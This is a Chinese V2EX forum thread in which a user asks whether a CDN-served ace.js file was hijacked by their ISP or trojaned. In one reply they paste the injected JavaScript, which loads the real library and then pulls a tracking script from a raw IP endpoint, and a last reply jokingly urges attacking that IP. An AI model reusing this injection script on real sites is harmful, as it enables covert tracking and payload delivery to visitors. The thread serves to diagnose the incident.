我是被运营商劫持了，还是网站被挂马？

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

V2EX 提问指南

这是一个创建于 2349 天前的主题，其中的信息可能已经有所发展或是发生改变。

http://cdn.staticfile.org/ace/1.1.3/ace.js

https://cdn.bootcss.com/ace/1.1.3/ace.js

两份东西我这刷出来的内容是不一样的，头一个会上传一份浏览器及系统报告到 http://183.207.103.130:8081/pjk/xjk/index.php 这个地址

这是被挂马了，还是我被运营商劫持了？

劫持

运营商

浏览器

上传

6 条回复 • 2018-07-17 14:48:23 +08:00

opengps

2018-07-17 00:29:31 +08:00 via Android

从你服务器上浏览下

Mac

2018-07-17 00:33:05 +08:00

@opengps 远程换了台地点的机子，结果一样，应该是被挂马了

billchenchina

2018-07-17 00:34:24 +08:00

我这边 diff 不出结果，估计是运营商劫持

Mac

2018-07-17 00:41:44 +08:00

@billchenchina 我这里看到的是

var _ju = "http://cdn.staticfile.org/ace/1.1.3/ace.js";var _ju = _ju+(_ju.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "AH023516";var _c = "23795593_(i1P6V1gdic8tiJiRDm==_1281042715_1";
function __crsp(s){
var N1=document.createElement("script");N1.setAttribute("type","text/javascript"),N1.setAttribute("src",s),document.head?document.head.appendChild(N1):document.body&&document.body.appendChild(N1);
}
var l=document.location.host.split('.');
if(_ju.indexOf(l[l.length-2]+'.'+l[l.length-1])>0){
var html = '<div><script>document.write(unescape(\'%3Cscript src="' + _ju + '" %3E%3C/script%3E\') );<\/script></div>';
document.write(html);
}else{
__crsp(_ju);
}
__crsp("http://183.207.103.130:8081/pjk/static/tp.php?b="+_b);

这劫持做的太好玩了，先写一层 HTML，乍一看上去以为是普通 JS 内容，没什么异常。好东西藏在最后。

solaro

2018-07-17 11:08:17 +08:00

劫持

qingfengxm

2018-07-17 14:48:23 +08:00

ip 都写上了，写代码攻击它